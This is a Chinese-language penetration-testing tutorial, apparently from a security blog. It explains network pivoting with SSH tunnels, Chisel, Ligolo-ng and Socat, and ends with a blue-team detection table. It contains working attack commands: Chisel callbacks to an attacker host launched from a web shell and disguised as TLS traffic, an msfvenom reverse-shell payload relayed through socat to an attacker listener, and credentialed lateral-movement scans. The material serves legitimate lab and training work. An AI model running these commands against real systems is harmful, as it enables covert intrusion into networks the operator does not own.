Skip to content

内网穿透实战指南:SSH 隧道、Chisel、Ligolo-ng 全场景覆盖

声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。


引言:隧道是内网渗透的命脉

打 HTB Pro Labs 的第一天,我在网络拓扑图前傻了——三层内网,每一层之间都有防火墙。拿到第一台跳板机之后,完全不知道怎么把流量送进去。

这就是内网穿透的核心场景:攻击机和目标之间隔着防火墙、NAT、甚至多层隔离网络。没有隧道,拿到跳板机也等于拿了个废品。

内网穿透工具很多,SSH 原生隧道、Chisel、Ligolo-ng、Socat,各有适用场景。这篇文章把这几种工具的原理和用法系统整理,覆盖你在实战中会遇到的绝大多数场景。


一、基础概念:隧道是什么

典型场景:
攻击机(10.10.14.x)
     ↕ 只有这一段可达
  边界服务器/跳板机(192.168.1.50,双网卡)
         ↕ 内网,攻击机不可达
     内网服务器(192.168.1.100)

没有隧道:攻击机无法直接与内网服务器通信
有了隧道:通过跳板机做"中继",流量穿透到内网

三种技术类型

技术用途代表工具
端口转发访问内网某个特定端口SSH -L/-R, socat
SOCKS 代理通过代理访问内网任意目标SSH -D, Chisel
透明隧道像身处内网一样,直接用任何工具Ligolo-ng(最推荐)

二、SSH 隧道(有 SSH 访问时首选)

SSH 内置三种隧道模式,不需要额外工具,稳定可靠。

2.1 本地端口转发(-L):访问内网特定服务

语法ssh -L <本地端口>:<目标IP>:<目标端口> user@跳板机

bash
# 场景:通过跳板机访问内网的 Web 管理后台(192.168.1.100:8443)
ssh -L 8443:192.168.1.100:8443 user@jump_host
# 然后在攻击机浏览器访问:https://localhost:8443

# 场景:访问内网 RDP
ssh -L 13389:192.168.1.100:3389 user@jump_host
# xfreerdp /v:localhost:13389 /u:admin /p:password

# 同时转发多个端口
ssh -L 8080:192.168.1.100:80 -L 13389:192.168.1.100:3389 user@jump_host

# 后台运行(不执行命令,只保持转发)
ssh -f -N -L 8443:192.168.1.100:8443 user@jump_host

2.2 动态端口转发(-D):SOCKS 代理访问多目标

语法ssh -D <本地端口> user@跳板机

bash
# 建立 SOCKS5 代理
ssh -D 1080 user@jump_host -N -f

# 配置 proxychains(/etc/proxychains4.conf 末尾添加)
socks5 127.0.0.1 1080

# 通过代理扫描内网
proxychains nmap -sT -p 22,80,443,8080 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains curl http://192.168.1.100

2.3 远程端口转发(-R):反向隧道(目标在 NAT 后)

语法ssh -R <攻击机端口>:<本地IP>:<本地端口> user@攻击机在目标机上执行

bash
# 场景:目标机在内网无法直接被访问,建立反向连接
# 目标机上执行(把 3389 暴露给攻击机的 13389)
ssh -R 13389:localhost:3389 user@<ATTACKER_IP>
# 攻击机:xfreerdp /v:localhost:13389 /u:admin

2.4 多跳隧道(-J ProxyJump)

bash
# 通过 jump1 再跳到 jump2,最终访问 target
ssh -J user1@jump1 -L 8080:192.168.2.100:80 user2@jump2

# 多跳 SOCKS 代理
ssh -J user1@jump1,user2@jump2 -D 1080 user3@target

三、Chisel:HTTP 隧道,穿越防火墙神器

适用场景:目标只开放了 80/443 等 Web 端口,无法直接建立 SSH 隧道。

Chisel 把流量封装在 HTTP/HTTPS 请求中,伪装成正常 Web 流量穿越防火墙。

安装

bash
# 从 GitHub Releases 下载对应平台版本
# github.com/jpillora/chisel/releases
# 需要两个文件:chisel(攻击机/Linux)和 chisel_windows_amd64.exe(Windows目标)

最常用配置:反向 SOCKS 代理

bash
# 攻击机(服务端)— 先启动
./chisel server -p 8080 --reverse --socks5

# 跳板机(客户端)— 执行后连接攻击机
./chisel client <ATTACKER_IP>:8080 R:1080:socks
# 现在攻击机的 1080 端口是 SOCKS5 代理,流量通过跳板机进内网

# proxychains 配置同 SSH -D
proxychains nmap -sT 192.168.1.0/24

特定端口转发

bash
# 攻击机
./chisel server -p 8080 --reverse

# 跳板机(把内网 RDP 暴露到攻击机的 13389)
./chisel client <ATTACKER_IP>:8080 R:13389:192.168.1.100:3389
# 攻击机:xfreerdp /v:localhost:13389 /u:admin

伪装成合法流量

bash
# 走 443 端口 + TLS(最隐蔽)
./chisel server -p 443 --tls-skip-verify --reverse
./chisel client --tls-skip-verify https://<ATTACKER_IP>:443 R:socks

只有 Web Shell 时的使用方式

bash
# 通过 Web Shell 上传 chisel 后执行(后台运行)
# Web Shell 中执行:
./chisel client <ATTACKER_IP>:8080 R:socks &
# 或 Windows:
start /B chisel_windows_amd64.exe client <ATTACKER_IP>:8080 R:socks

四、Ligolo-ng:透明代理,最推荐

Ligolo-ng 是我目前最常用的内网穿透工具。

它的核心优势:创建一个 TUN 虚拟网卡,直接把内网路由到攻击机。不需要 proxychains,任何工具都可以直接访问内网 IP,就像真正在内网一样。

安装

bash
# 下载(两个文件)
# github.com/nicocha30/ligolo-ng/releases
# proxy → 攻击机运行
# agent → 跳板机/目标机运行

# 攻击机:创建 TUN 虚拟网卡
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

建立隧道(标准流程)

bash
# 第一步:攻击机启动 proxy
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

# 第二步:跳板机上传并运行 agent
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
# Windows 跳板机:
./agent_windows_amd64.exe -connect <ATTACKER_IP>:11601 -ignore-cert

# 第三步:攻击机控制台(proxy 界面)
ligolo-ng » session           # 查看连接的 agent(选对应编号)
ligolo-ng [session] » ifconfig   # 查看跳板机网卡,找内网网段
                                  # 比如找到 192.168.1.0/24

# 第四步:攻击机添加路由
sudo ip route add 192.168.1.0/24 dev ligolo

# 第五步:启动隧道
ligolo-ng [session] » start

使用(无需 proxychains!)

bash
# 直接访问内网,完全透明!
nmap -sV 192.168.1.100          # 直接扫描内网
curl http://192.168.1.100        # 直接访问 Web
ssh user@192.168.1.100           # 直接 SSH
evil-winrm -i 192.168.1.100      # 直接 WinRM
crackmapexec smb 192.168.1.0/24  # 直接 CME

多层内网(套娃)

bash
# 已经进入第一层内网,继续穿透到第二层(比如 10.10.10.0/24)
# 在第一层跳板机上运行 agent,连接到攻击机
# 攻击机添加第二层路由
sudo ip route add 10.10.10.0/24 dev ligolo
# Ligolo-ng 支持多个 session,每个对应不同内网网段

五、Socat:轻量级端口转发

Socat 适合临时、快速的端口转发,特别是目标机上无法运行其他工具时。

bash
# 把本机 8080 转发到内网 192.168.1.100:80
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# 后台运行
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 &

# Windows(需要 socat.exe)
socat.exe TCP-LISTEN:8080,fork TCP:192.168.1.100:80

配合 Payload 使用:内网机器反弹 shell 无法直接连到攻击机时,让 socat 在跳板机上做中继:

bash
# 跳板机执行
socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444

# Payload 的 LHOST 设为跳板机 IP
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<JUMP_IP> LPORT=4444 -f exe > shell.exe

# 攻击机监听
nc -lvnp 4444

六、工具选型速查表

场景推荐工具原因
有 SSH 访问权,访问内网某个端口ssh -L无需额外工具,稳定
有 SSH 访问权,需访问多个内网目标ssh -D + proxychains灵活,SOCKS 代理覆盖广
目标在 NAT 后无法直连ssh -R反向隧道建立连接
目标只开放 Web 端口ChiselHTTP 隧道穿防火墙
需要访问多个内网目标且不想用 proxychainsLigolo-ng透明代理,最方便
临时转发单个端口,无需安装工具socat一行命令搞定
只有 Web ShellChisel(后台)轻量,HTTP 传输

七、实战场景速查

场景 1:通过跳板机访问内网 Web 管理后台

bash
ssh -L 8443:192.168.1.100:8443 user@jump -N -f
# 浏览器:https://localhost:8443

场景 2:内网 RDP 横向移动

bash
ssh -L 13389:192.168.1.200:3389 user@jump -N -f
xfreerdp /v:localhost:13389 /u:administrator /p:password

场景 3:只有 Web Shell,需要访问内网多个目标

bash
# 上传 chisel,Web Shell 中执行
./chisel client <ATTACKER_IP>:8080 R:socks &
# 攻击机:./chisel server -p 8080 --reverse
# proxychains 访问内网

场景 4:Pro Labs / 多层内网

bash
# 每层都用 Ligolo-ng agent,攻击机管理多个 session
# sudo ip route add 10.10.10.0/24 dev ligolo   # 每层添加路由
# 无需 proxychains,直接访问任何内网 IP

场景 5:Payload 反弹经过跳板机

bash
# 跳板机做流量中继
socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444
# Payload LHOST = 跳板机 IP
# nc -lvnp 4444 在攻击机监听

蓝队视角:如何检测和防御隧道

攻击技术检测防御
SSH 隧道监控异常 SSH 连接;检测 AllowTcpForwarding 使用禁用 GatewayPorts;限制端口转发
Chisel(HTTP 隧道)监控长连接 HTTP 请求;流量分析异常深度包检测(DPI);HTTP 代理审计
Ligolo-ng检测 TUN 接口创建;监控异常进程EDR 检测;禁止用户创建 TUN 接口
DNS 隧道监控异常 DNS 查询频率和包大小DNS 防火墙;限制直接 DNS 出站

关键收获

  1. Ligolo-ng 是多目标内网渗透的首选:透明代理,无需 proxychains,任何工具直接用,大幅提升效率。
  2. Chisel 是穿防火墙的利器:只要目标出向能连 HTTP/HTTPS,就能建立隧道,适用于绝大多数企业网络。
  3. SSH -D + proxychains 是最简单的入门配置:有 SSH 访问权时的默认选择,不需要上传任何工具。

参考资料

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量